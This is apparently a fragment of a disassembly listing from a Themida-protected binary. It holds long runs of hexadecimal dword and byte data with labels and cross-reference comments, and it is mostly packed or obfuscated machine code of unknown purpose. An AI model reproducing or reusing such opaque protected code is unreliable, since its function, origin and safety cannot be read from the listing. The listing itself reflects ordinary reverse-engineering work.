23255ADEh, 0ABAE556Fh, 5EADC7Bh dd 455CEFDFh, 0C8F614E4h, 21AE55FBh, 962A1561h, 7C32108Dh dd 425038F4h, 0C23DC5Dh, 0DEABB787h, 0C3B8F46Eh, 602354E8h dd 0ACABB7FBh, 0C4D434FEh, 5C2364B8h, 0DEABB7FFh, 0D6115ABFh dd 0D3BD03Eh, 21C45039h, 21ADBDBAh, 7E8E55F6h, 5D270AB8h dd 652F5199h, 21BA51FAh, 76E9556Fh, 0A4231174h, 244C587Eh dd 0C9F95587h, 21AE55F5h, 7E6D0A5Bh, 258A2934h, 258A115Fh dd 21AE557Ah, 8A6D02F0h, 0C2BDC6Eh, 47ABB7F3h, 0E5C4B777h dd 2BE7D0BDh, 4BFD505Fh, 224602DEh, 1AE556Fh, 0A8F196E8h dd 0A0AA71A7h, 37AA71A9h, 66AE55F6h, 0A597962Ch, 21AABD23h dd 697655DEh, 7FF8A9DEh, 511133E7h, 5EADE37h, 71AEDEE9h dd 382D5AA4h, 0C9AE557Bh, 21AE55AEh, 16302786h, 0A46CFBA2h dd 0EBEB3BC8h, 0CD8B11BCh, 7868658Fh, 9FF864F9h, 7311E467h dd 0A8F60FE2h, 94AA719Ah, 21C40D76h, 21ADBDE1h, 7F8E55DBh dd 55270B2Eh, 652F51D2h, 21B2515Fh, 77E855BDh, 3A31511Dh dd 0D79B159Eh, 94516441h, 244C437Ah, 0C9FD5587h, 21AE55F5h dd 7A6D0E5Bh, 258A0934h, 258A115Fh, 21AE5575h, 396D06F4h dd 44B67D24h, 0F22470ECh, 5BCFD07Bh, 21C4509Eh, 21ADBDEDh dd 798E55DEh, 65270DACh, 652F5193h, 21B651FFh, 71EE55EDh dd 7E9F2F35h, 94874632h, 244C4410h, 21C48521h, 21ADBD3Dh dd 7B8E55B7h, 75270F18h, 652F51C9h, 21B451D2h, 73EC557Bh dd 0F676157Eh, 0B721A607h, 0A427A4E4h, 244C5F0Eh, 21AE5D32h dd 0CF70E7EDh, 0E9C14C52h, 682B939Dh, 72ABB7B7h, 4967E2D1h dd 981BC325h, 152FAB3Ch, 8CFCACFFh, 801BAA8Ch, 20ABB7E0h dd 0C38B70EEh, 402BD8B8h, 0C8ABB0A4h, 21AE557Ch, 53780F36h dd 57732C87h, 0DA6AAD5h, 0B74C58CBh, 0DE127FD9h, 603B646Dh dd 0A8ABB7CFh, 0C3B978EAh, 76AE3FB2h, 21AE5633h, 0E2F175EDh dd 5D2DCA9h, 5EAD47Fh, 21AE41B9h, 0E2F912DEh, 0BC13DC97h dd 0E7ABB795h, 0C3A41C5Eh, 0EA2512E8h, 0FD71EC9Eh, 70FC05F4h dd 719F5AE2h, 0D925338Ch, 2F476460h, 0E5AE55B7h, 30B834EAh dd 332003h, 98F82517h, 7BF60F64h, 5AAD4E5h, 9AFA82Eh, 0C9FF5505h dd 21AE55B4h, 786D0CFBh, 258A1964h, 258A1177h, 21AE5567h dd 3F6D04FCh, 39C3A1ADh, 4C8B721Fh, 0BF3DECD1h, 370FE024h dd 21C4500Fh, 21ADBDA6h, 798E557Bh, 65270D7Eh, 652F51FAh dd 21B7514Bh, 71EE55B7h, 0B77AFF18h, 0ACC680F1h, 0C4D43473h dd 71AE3F7Eh, 21AE5655h, 0E2F675DEh, 5EADC37h, 5EAD4B3h dd 21AE43DFh, 0E2FE15EDh, 0DE3B3C2Bh, 77AE3FABh, 21AE5655h dd 0E2F075DEh, 5DADC31h, 5EAD4B3h, 21AE4CDFh, 0E2F813EDh dd 4D85F787h, 0A2A1C725h, 21AE55B8h, 7B70D4B8h, 482BDC54h dd 2EABB79Bh, 0A468AC6Ch, 244C5FA4h, 76AE3FB1h, 21AE5693h dd 0E2F175BDh, 5D2DC81h, 5EAD46Bh, 21AE49B3h, 0E2F912DBh dd 61A5876Fh, 5F7A6739h, 0EB195A4Dh, 21AE5155h, 0FDBE2FDEh dd 27255AEEh, 41AE55B7h, 981D0B8Dh, 9218058Ch, 258A117Dh dd 2125ADF0h, 21ABBDDDh, 9C1C55DEh, 769E46DAh, 0AAC80BEEh dd 65273422h, 0AAC851C9h, 21C40D0Eh, 21ADBD2Dh, 7F8E55BDh dd 55270B1Dh, 652F514Bh, 21B35193h, 77E855DBh, 86A7572Eh dd 803E2393h, 0A8090F53h, 0C3B24408h, 0C72F33DBh, 9451E147h dd 244C4316h, 0DC105564h, 402BD89Ch, 4BABB08Ch, 2246037Bh dd 1AE55BDh, 0A8F09680h, 0A0AA711Bh, 3BAA71F3h, 67AE55DBh dd 0E47296BBh, 0C9723C84h, 901BDE82h, 0DEABB791h, 77AE3F0Eh dd 21AE5687h, 0E2F075B7h, 5DADC85h, 5EAD4E9h, 21AE48F2h dd 0E2F8137Bh, 61EC142Ch, 5259DB42h, 0ABA1F670h, 21AE55B1h dd 3137D850h, 0A427500Fh, 244C5A73h, 0C9F85511h, 21AE55BEh dd 7F6D0BFEh, 258A21E6h, 258A1136h, 21AE55C7h, 66D03ABh dd 8D337B59h, 0C6A5D2A8h, 0A7BE034h, 0AACE503Ch, 0C3B88CDAh dd 0A46834B2h, 244C5F92h, 781BDEAAh, 49ABB7EDh, 5D1AD624h dd 33000003h, 5AAD4ADh, 0FB6ED91h, 370FE048h, 285B5039h dd 0C3B4D050h, 402BD8F3h, 0A8ABB001h, 0C3BA1C08h, 4B7EAADBh dd 2246026Fh, 1AE55B7h, 0A8F19684h, 0A0AA7191h, 37AA71B2h dd 66AE557Bh, 733596EAh, 0D248D482h, 2EA68EEEh, 21AE5630h dd 0DF2533DBh, 2B2BD064h, 21C45014h, 21ADBD2Ah, 788E55BDh dd 6D270C1Dh, 652F514Bh, 21B35193h, 70EF55DBh, 30D6122Eh dd 6344574Eh, 0A832EDE0h, 0C38C0800h, 0E02F33DBh, 0F1519514h dd 0C9F955DDh, 21AE55D8h, 7E6D0ACDh, 258A297Fh, 258A11FAh dd 21AE55A0h, 176D0299h, 137D9C53h, 4FFBF827h, 982CEB98h dd 0A427791Ah, 244C550Fh, 0C9F85511h, 21AE55BEh, 7F6D0BFEh dd 258A21E6h, 258A1136h, 21AE55C1h, 0B06D03ABh, 0EAEF8D5Ch dd 2E47D07Ch, 1BAE55BDh, 0D36B09A0h, 21167A77h, 3E5683Dh dd 0ADC88665h dd 4BAA7135h, 224605F6h, 1AE557Bh, 0A8F696E5h, 0A0AA719Ah dd 3AAA712Bh, 61AE55B7h, 7253968Bh, 0AD39813Ch, 9C270DAFh dd 244C7E82h, 0A5A195B7h, 21AE56F7h, 3797D0E6h, 0A4685055h dd 244C5F92h, 77AE3FA2h, 21AE561Eh, 0E2F0757Bh, 5DADCE3h dd 5EAD4DAh, 21AE426Bh, 0E2F813B7h, 3A65D04Dh, 64F0EC8Bh dd 7866679Eh, 0A072E7B5h, 85587189h, 21C42407h, 21ADBD3Fh dd 798E55B7h, 65270D18h, 652F51C9h, 21BA51D2h, 71EE557Bh dd 2B47EA7Eh, 0A1AE55DEh, 879ED76Fh, 0C18C182Dh, 801BAAA1h dd 4BABB7FBh, 224605F6h, 1AE557Bh, 0A8F696E5h, 0A0AA719Ah dd 3AAA712Bh, 61AE55B7h, 9229968Bh, 0E9C99BE9h, 9425ED98h dd 244C4C12h, 0AC56DEDBh, 0C4D4345Bh, 77AE3F6Ah, 21AE565Fh dd 0E2F075DBh, 5DADCB3h, 5EAD4F2h, 21AE487Fh, 0E2F813BDh dd 56D73398h, 7933D748h, 7BF824ECh, 94258524h, 244C7ECCh dd 2977C07Dh, 0E12D5099h, 72AE3F99h, 21AE5636h, 0E2F5756Fh dd 5F2DCECh, 5EAD4DFh, 21AE40E9h, 0E2FD16F6h, 0A0C8A976h dd 0A8C35C72h, 0C3A66C5Bh, 72AE3F6Ah, 21AE565Fh, 0E2F575DBh dd 5F2DCB6h, 5EAD4F2h, 21AE487Fh, 0E2FD16BDh, 8328415h dd 0E2640C51h, 0A425B834h, 244C5522h, 0AA60EAE2h, 0C3A4D06Bh dd 948D167Eh, 244C6428h, 0A4274E55h, 244C52E6h, 21C44E3Ch dd 21ADBD8Bh, 798E55EDh, 65270D35h, 652F515Fh, 21B55199h dd 71EE55DEh, 73B6CAACh, 233F95BCh, 0A8D6E0D2h, 0C3B8E078h dd 706EAF3h, 3A252827h, 0C9F855D7h, 21AE55DDh, 7F6D0B4Fh dd 258A213Eh, 258A115Ah, 21AE55F0h, 786D03B0h, 0AE0D37AAh dd 63790E7Bh, 0CE2F0558h, 571EEF95h, 0C97666EEh, 21AE55C8h dd 76224077h, 0FABDD399h, 4F7EB9E8h, 0FB1893ADh, 985BFA4Ah dd 43B471B2h, 8833DCE9h, 0C9ABB7F1h, 21AE55E8h, 8AE0D45Ch dd 0A4680FC5h, 244C5FF4h, 0FB78D499h, 0A8ECFE6Ch, 0C3B3B832h dd 21AABDDEh, 0FC0755EDh, 0A0A1E228h, 21AE557Eh, 4B284C04h dd 0C9CE05FBh, 21AE557Fh, 6A69D1E7h, 1CD636D7h, 62CF610Ch dd 88CD5E85h, 21AE5B92h, 0C6AB60BDh, 0C85FB7A8h, 0FD4489CCh dd 797E3414h, 0E6FDEFBDh, 5EADE8Ch, 0AAAEDEF2h, 5EADCB1h dd 7910E7B9h, 265E9C5Fh, 945175CAh, 244C4316h, 0C9FD55B1h dd 21AE55EEh, 7A6D0ED6h, 258A09F2h, 258A113Ch, 21AE55CAh dd 7B6D062Ch, 0CAD42908h, 402BD8D3h, 2EABB097h, 21AE5373h dd 0A01BDE7Bh, 2EABB7B7h, 21AE4354h, 21A4BD6Fh, 5BF255B7h dd 4032DCECh, 9A05C476h, 0C1E79377h, 0DEF702B2h, 0A427AD6Dh dd 244C79B7h, 0C9F85505h, 21AE55B4h, 7F6D0BFBh, 258A2164h dd 258A1177h, 21AE5566h, 136D03FBh, 5F0A403Ch, 8FAE29E9h dd 0D22533E8h, 0C9AEDE9Bh, 21AE55E3h, 6904348Bh, 0FA404A73h dd 1879ED51h, 96A12DE3h, 21250FA6h, 0C9FD55DDh, 21AE55D8h dd 7A6D0ECDh, 258A097Fh, 258A11FAh, 21AE55A8h, 776D069Dh dd 98C8A0ABh, 0A4279F50h, 244C4D5Eh, 7E70D48Bh, 215DBC77h dd 0BC27557Bh, 244C6704h, 21AE5D37h, 2E47E06Fh, 2BB70C48h dd 962BD886h, 47ABB056h, 3DED9C77h, 34D1EA1Dh, 0A03E052Dh dd 0F3CAD931h, 0D83BAA47h, 0AABB7A1h, 0C38D0066h, 0AC13DCE8h dd 0ACABB7C4h, 0C415E8E6h, 73AE3FB8h, 21AE5636h, 0E2F4756Fh dd 5FADCEDh, 5EAD4DFh, 21AE40E9h, 0E2FC17F6h, 0C83D0CEDh dd 21AE55A9h, 4F549C2h, 2AFBADF6h, 8CBF322Ah, 68E09A57h dd 0EB2AA051h, 0B200E4A6h, 3707C8F2h, 9B3E505Fh, 6D02E700h dd 0B103E73Fh, 0C9FF55DDh, 21AE55D8h, 786D0CCDh, 258A197Fh dd 258A11FAh, 21AE55A8h, 0DF6D049Fh, 701B664Ch, 0DEABB793h dd 0C39E804Eh, 71AE3FE8h, 21AE561Eh, 0E2F6757Bh, 5EADCE5h dd 5EAD4DAh, 21AE416Bh, 0E2FE15B7h, 1023DC16h, 0A8ABB7F6h dd 0C3B8A06Bh, 182BDC7Eh, 0A8ABB7B5h, 0C3A9284Bh, 0B427026Ah dd 244C65C6h, 682B9384h, 72ABB7E7h, 0C9FE559Ch, 21AE5578h dd 796D0D9Dh, 258A1157h, 258A11EEh, 21AE55A1h, 0B06D059Bh dd 0A4278B77h, 244C51CFh, 0A856EA13h, 21A5BC13h, 9EEC55DEh dd 0CCD9DAD5h, 2FC8800Dh, 59AD430h, 25A0292Dh, 327D87Fh dd 94515099h, 244C431Ch, 0C9FB55B4h, 21AE556Ch, 7C6D0897h dd 258A3952h, 258A116Ch, 21AE55ECh, 5C6D003Eh, 0A215DAF3h dd 9425A4FBh, 244C5852h, 21A8D3B8h, 0B49F55DBh, 244C4F4Ch dd 5BCFD07Bh, 0A487509Eh, 244C5190h, 5980EAB8h, 0A4278590h dd 244C415Eh, 21AE5932h, 7771AFEDh, 73DA2668h, 4F0CE754h dd 682B932Fh, 66ABB7D4h, 6FC603DEh, 47251D94h, 0A018ED61h dd 0D3EC71E9h, 945143DFh, 244C43DAh, 0C9FC55D7h, 21AE55DDh dd 7B6D0F4Fh, 258A013Eh, 258A115Ah, 21AE55F9h, 0C16D07B4h dd 0F607EF1Dh, 5BCFD030h, 21C4503Bh, 21ADBD38h, 7E8E55B7h dd 5D270A18h, 652F51C9h, 21B751D2h, 76E9557Bh, 0DFA3D47Eh dd 0DE485CDDh, 0A860DEBFh, 0C3858432h, 0E013DCDEh, 0E7ABB7CFh dd 0C3A41C73h, 9EC8067Eh, 0CEC6F854h, 2E8D5A6Fh, 21AE51EFh dd 0DB2505B7h, 5AAD482h, 5787F84Ch, 0C9FB559Ch, 21AE5578h dd 7C6D089Dh, 258A3957h, 258A11EEh, 21AE55A1h, 156D009Eh dd 94511C45h, 244C4357h, 0C9F85511h, 21AE55BEh, 7F6D0BFEh dd 258A21E6h, 258A1136h, 21AE55CCh, 0E46D03ABh, 10319199h dd 0C3B7ACC6h, 0D81133B8h, 402BD883h, 0C9ABB015h, 21AE55A4h dd 9B3F7DA5h, 0E9931C8Ch, 745245D2h, 5047EA7Ch, 0A818EE49h dd 0C383D44Bh, 0F1510C6Ah, 0C9FD55DDh, 21AE55D8h, 7A6D0ECDh dd 258A097Fh, 258A11FAh, 21AE55A0h, 5A6D069Dh, 2E39587Fh dd 5170696Ah, 9AC83596h, 0A8CEC8C2h, 0C3836073h, 407ADF7Eh dd 0A41BDEDCh, 0A8ABB7CBh, 0C3A540EAh, 71AE3FB2h, 21AE5633h dd 0E2F675EDh, 5EADCAEh, 5EAD47Fh, 21AE40B9h, 0E2FE15DEh dd 0BC27723Bh, 244C5FF6h, 2BE7D01Dh, 4BF9500Fh, 224600F6h dd 1AE557Bh, 0A8F396E0h, 0A0AA71B2h, 35AA712Bh, 64AE55B7h dd 49EB968Eh, 0A59844D4h, 2DD8774Ch, 59AD403h, 359C1682h dd 0C9FF55B4h, 21AE556Ch, 786D0C97h, 258A1952h, 258A116Ch dd 21AE55E1h, 7D6D043Ah, 932F19C5h, 9097EA22h, 94514110h dd 244C4316h, 3FE3E852h, 0A423500Fh, 244B2F97h, 0A9FE8F0h dd 0F151505Fh, 0C9FC55B4h, 21AE556Ch, 7B6D0F97h, 258A0152h dd 258A116Ch, 21AE55E0h, 0AB6D0739h, 0A4272BCAh, 244C4D43h dd 0C9FF5505h, 21AE55B4h, 786D0CFBh, 258A1964h, 258A1177h dd 21AE5562h, 0A46D04FCh, 81115D36h, 6813DEE6h, 0E7ABB7A3h dd 0C3A41C5Eh, 20CE16E8h, 0C382E073h, 98C8347Eh, 13C634E9h dd 2E19E3E0h, 21AE56EEh, 0EE2533B7h, 3B8A615Ah, 2EA573A3h dd 21AE5673h, 0A46BD57Bh, 370FE042h, 21C4503Ch, 21ADBD3Eh dd 788E55B7h, 6D270C18h, 652F51C9h, 21B951D2h, 70EF557Bh dd 51097B7Eh, 0B7B2EAA2h, 0A4234099h, 244B2FD6h, 0C9FB55B1h dd 21AE55EEh, 7C6D08D6h, 258A39F2h, 258A113Ch, 21AE55C8h dd 856D002Ah, 2F478378h, 7AAE55DBh, 0B5A861BDh, 187667FDh dd 32D455B3h, 4B7EAAF2h, 224602DEh, 1AE556Fh, 0A8F196E8h dd 0A0AA71A7h, 3CAA71A9h, 66AE55F6h, 859F962Ch, 650EE7h dd 43478B19h, 376BD0E6h, 0A0C85055h, 0AC953405h, 0C415F868h dd 70AE3FF3h, 21AE5693h, 0E2F775BDh, 5E2DC87h, 5EAD46Bh dd 21AE41B3h, 0E2FF14DBh dd 9F57E7FDh, 160A4D41h, 531033EBh, 274605A4h, 0D3AE55DEh dd 71AEA93h, 0EA110597h, 7FCF5750h, 0D225C5B3h, 21AE5B1Eh dd 5C222E7Bh, 6D567FFBh, 0C9851BDFh, 0C9C7B711h, 21AE55A4h dword_52A8B0 dd 0ACBC5F77h, 0AE98372Fh, 32E55945h, 0A441035h, 26ABFC9h ; DATA XREF: Themida_:004EEA3Co dd 0C3A20C4Bh, 0DEF00A6Ah, 0C3B8AC22h, 0F82F33DEh, 0F9254BAFh dd 3A73D596h, 0D8FE052h, 0ACCF505Fh, 0C415F45Bh, 77AE3F6Ah dd 21AE565Fh, 0E2F075DBh, 5DADCB3h, 5EAD4F2h, 21AE4D7Fh dd 0E2F813BDh, 22A01B24h, 0EB195AF6h, 2C2BE83Eh, 0A8FE5039h dd 21C471E9h, 21ADBDA7h, 788E557Bh, 6D270C7Eh, 652F51FAh dd 21B5514Bh, 70EF55B7h, 0C9D85818h, 314286EEh, 0AAC8C6A2h dd 0AA3D05AAh, 0C3A01008h, 0F43BAADBh, 0A0ABB75Fh, 2A96F476h dd 2BDCE8h, 4BABB7FBh, 224607F6h, 1AE557Bh, 0A8F496E7h dd 0A0AA718Ah, 37AA712Bh, 63AE55B7h, 232C9689h, 24205A31h dd 47AE55F6h, 0AE4F94FAh, 21AE5F55h, 0BFC651DEh, 187116C2h dd 0C840DBC2h, 21AE55D4h, 0E9E7073Bh, 594BCB46h, 25A42324h dd 7F60E1BAh, 8FD019h, 21A1508Dh, 0AAC855B7h, 232E5A20h dd 0AAAE55EDh, 3BAA26h, 4BABB76Dh, 224603BDh, 1AE55DEh dd 0A8F09631h, 0A0AA71C3h, 38AA719Fh, 67AE55EDh, 0E83296A0h dd 20222A88h, 365FD034h, 21C4503Ch, 21ADBD3Ch, 7A8E55B7h dd 7D270E18h, 652F51C9h, 21BA51D2h, 72ED557Bh, 0AA56D37Eh dd 0C382C05Bh, 0B733D86Ah, 0A8ABB07Ah, 9C235498h, 244C5848h dd 0ECDEE07Bh, 1217509Eh, 0D2AE55BDh, 999DBE7Ah, 21AE556Fh dd 22DA95BCh, 0AAAE4D19h, 72A271A9h, 21AE551Eh, 0E22F0E7Bh dd 21AE55AAh, 318A0957h, 358A11E6h, 8199EDECh, 0C1515540h dd 258A1166h, 0AC87B509h, 244C55A2h, 9840DFDCh, 7CDCE37Bh dd 9A0FE8E2h, 0AC235052h, 244B9816h, 7056055h, 0C42B666Eh dd 0AABB763h, 23479472h, 8B21C435h, 6F21ADBDh, 747C8E55h dd 0FF4D2708h, 0C9652F51h, 0F621BB51h, 0F305E983h, 6AD98BA4h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 7671C357h, 71306304h, 0C53D341Dh, 7B77D681h dd 8BF91D0Fh, 0E2215D8Dh, 65E905h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 9E9C70C3h dd 0F51B97B9h, 11E9h, 24438400h, 8684E1ADh, 6C1E77AAh dd 18154EE3h, 6A6139C8h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 99BC355h, 0E9C392CEh dd 7, 246C1923h, 8BD8E904h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 8C5A9722h dd 49B85E92h, 0BD83F576h, 5E21EA9h, 83097500h, 0E21805BDh dd 19740005h, 0C08B5350h, 4B9B8h, 0D5858900h, 8D05E21Dh dd 0E4B3619Dh, 5BD3FF05h, 5BD8358h, 5E218h, 53501774h dd 4B9B8h, 0D5858900h, 8D05E21Dh, 0E4B0029Dh, 5BD3FF05h dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 3C76F934h, 0F1AC7B89h, 0FE97833h, 78000000h dd 0B470EF9Ah, 0D42C7131h, 27F09600h, 6A9FA5h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 97ECA8C3h, 18E0F74h, 0F8000000h, 0F9C08BF9h, 0C18B40F5h dd 10E8h, 7952400h, 6BA4707Fh, 9447E507h, 9685039Ah, 0A9B58B23h dd 5F05E226h, 4EBh, 12E90000h, 0B8000000h, 0EBF114DEh dd 0AA096F40h, 222BB820h, 36B51EDEh, 56006A38h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 248FD1DCh dd 19B529F9h, 0BF05E20Bh, 6A8BC8D2h, 0E91858Dh, 6A05E2h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 9C518DC3h, 0C6D74FA9h, 0BE013053h, 7459F697h, 0DE8h dd 28D0D600h, 0FAEA6AE3h, 0F1469264h, 8060AC85h, 0B52392C0h dd 5E22139h, 8B505F61h, 240489F0h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 59C35040h, 0B58B168Bh, 0F0C7F311h dd 0F88B668Eh, 5E8006Ah, 3F000000h, 5521C9CAh, 7E9h, 195ED500h dd 0AECBA2D1h, 6A006A5Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0A5C3C352h, 0BB016363h dd 0DE81660Dh, 858DB71Fh, 5E5D1E5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0A6C35646h, 0BD3E25AEh, 81B58Bh dd 0C08305E2h, 12E905h, 91720000h, 23E1B23Ch, 50801526h dd 0DA82D2E3h, 69F3D338h, 58F0F50h, 0BE000000h, 66480B08h dd 8B240489h, 0E232FDBDh, 0DE805h, 95E80000h, 6E8A3h, 0A03D31C8h dd 8B007A67h, 0E20B6DB5h, 6A5F05h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 89C35141h, 8166A9EFh, 6A3030CFh dd 6820F00h, 8B000000h, 0E22985B5h, 2D95FF05h, 6A05E21Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 8FAEC351h, 174D811Bh, 0D180603Eh, 0C1B58996h dd 6105E20Bh, 9D809D8Dh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0FFDC71C3h, 50006AD3h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 54581040h, 0BE1C69B2h, 2AFDDD3Eh, 232985FFh, 6A05E2h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0C747DEC3h, 0F541A94h, 0F89h, 0AE900h, 54B40000h, 802B67Eh dd 0F8CDB179h, 6CAE9h, 0E800h, 815D0000h, 0E5D1EFEDh, 29BD8905h dd 8105E22Dh, 0E22121BDh, 7D005h, 89860F00h, 66000001h dd 9D8BF78Bh, 5E2218Dh, 1755B523h, 958905E2h, 5E21BA9h dd 100E381h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 858BC6C3h, 5E444AAEh, 0FDB0B3Ah dd 0F085h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 1B71863Dh, 2D2505BFh, 0EE931h, 5E610000h dd 0C959CFCDh, 0A86AE916h, 9317482Fh, 0CF7FBD83h, 0F0005E5h dd 3184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0E9DA5D4Ch, 0B1858946h, 0E905E209h dd 91h, 751B503h, 85C705E2h, 5E5CF7Fh, 1, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 15h, 0C1C35141h, 10F7813Fh dd 15CEF41h, 0E224A5B5h, 53E905h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 234465C3h dd 7F5403DBh, 13E96067h, 6E000000h, 8FC45F56h, 1B8ED8D1h dd 507625B6h, 95EB6459h, 8D890DC4h, 5E20D11h, 7F85C761h dd 5E5CFh, 8B000000h, 0E2331DB5h, 8D9D8D05h, 6A05E221h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0FF3C350h, 0B58BF1B7h, 5E22AC9h, 0FEFF2381h dd 860FFFFFh, 0Ch, 5E960h, 5DE80000h, 6170FA1Eh, 6ADB8C66h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0E321C355h, 0DD1EF6ADh, 0FE8B1BF5h, 0F04C3F6h dd 3D84h, 0FF5E5000h, 0E2162195h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0FA8B4DA1h dd 24048950h, 68C0Fh, 0CE810000h dd 74D41F47h, 70D8D31h, 0D3E905E2h, 0F9000003h, 0BF0F00B0h dd 0F70E6F2h, 687h, 0BDB58B00h, 0E405E20Ah, 53006A71h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0E5AF4421h, 0F0BA7BFh, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 8B669FC3h, 6BAFEh, 0B58B0000h dd 5E20D8Dh, 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 4D88FDC3h, 88AB5018h, 0E8C1F6DBh dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0ED53F94Bh, 5E97Eh, 0B2910000h, 66DB84E4h dd 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0C681EBC3h, 10295DBh, 1BA98D89h, 0D82B05E2h dd 19059D89h, 669305E2h, 8B50F18Bh, 0BD8B93FEh, 5E23259h dd 2121B5FFh, 0BD3105E2h, 5E21A21h, 0FFF9BF0Fh, 0E20AB995h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 7DD447A5h, 6A00B0h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 6E927CC3h, 8817F742h dd 0E65FFC57h, 3DBD8B70h, 0E405E219h, 57006A71h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 613C1A9Fh, 250830Fh, 0BD890000h, 5E2090Dh, 6AD8B60Fh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 3EC6C350h, 6BAD8h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 38263CC3h dd 4565D40Fh, 0FEE47BFh, 682h, 89953100h, 8B05E208h, 57006AC3h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 6C0EE197h, 0C9825BB3h, 0E9C88A60h, 10h, 9933C0DDh, 7E2AD40Eh dd 0A18719CCh, 6A6CD7F5h, 4E8C161h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 18C35141h, 0C11BCF9Fh, 2B602675h dd 0E2109195h, 0DDB58B05h, 6105E230h, 6AE2F766h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 13BFC356h, 0BF661D62h, 8166AE48h, 8989BAEFh, 0E22A8985h dd 0E9D82B05h, 10h, 86BD9D59h, 2BB5C5F1h, 79305B69h, 9D5F2549h dd 15498589h, 665805E2h, 0D82BF78Bh, 128880Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 2EBBCCC3h, 0FB5C94B1h, 7B937A7h, 83000000h, 6A00C1h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 49D822C3h, 0E9BD0956h, 3B05E218h, 0CF860FD9h, 66000000h dd 0BFF2D681h, 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 52D0C356h, 0E8D2E1B3h dd 0E6F7819Fh, 911732Ah, 0E217A9BDh, 4C1F605h, 88840Fh dd 0FFF90000h, 0E2162195h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0E93EB987h dd 0B58BBF82h, 5E22409h, 0C32BF55Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 4BC35747h, 0C6DB529h, 343D05E2h dd 0F000008h, 2986h, 2CE900h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0CA84F5C3h dd 9D5BD8Bh, 0C08B05E2h, 885B529h, 0C38B05E2h, 1CBFD88Bh dd 8B6BE582h, 0E21889BDh, 0C185C705h, 1905E204h, 8B761D3Bh dd 0CD9D31C0h, 8105E215h, 0E22121BDh, 7D005h, 0E850F00h dd 8B000000h, 2185FFF1h, 8B05E221h, 0E2331DB5h, 21B5FF05h dd 6A05E221h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0B9D3C357h, 72C4E4F2h, 33B66D52h dd 0E20EA5BDh, 0B995FF05h, 6A05E20Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0BB21C357h dd 0B890856Dh, 12345678h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0BAC35040h, 0B58B258Eh, 5E229B5h, 0D8709D8Dh dd 46E905E5h, 0E9FFFFF9h, 0Bh, 0CB6A0A6h, 75FB9A9Ch byte_52B568 db 18h ; DATA XREF: Themida_:00504AF2o byte_52B569 db 28h, 7Bh, 8Bh ; DATA XREF: Themida_:004EF4B8o dd 0C18589C1h, 0EB05E20Ah, 4, 0FA8B6600h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 18h, 6DC35141h, 7456B53Eh dd 81F1BF0Fh, 3F2800D6h, 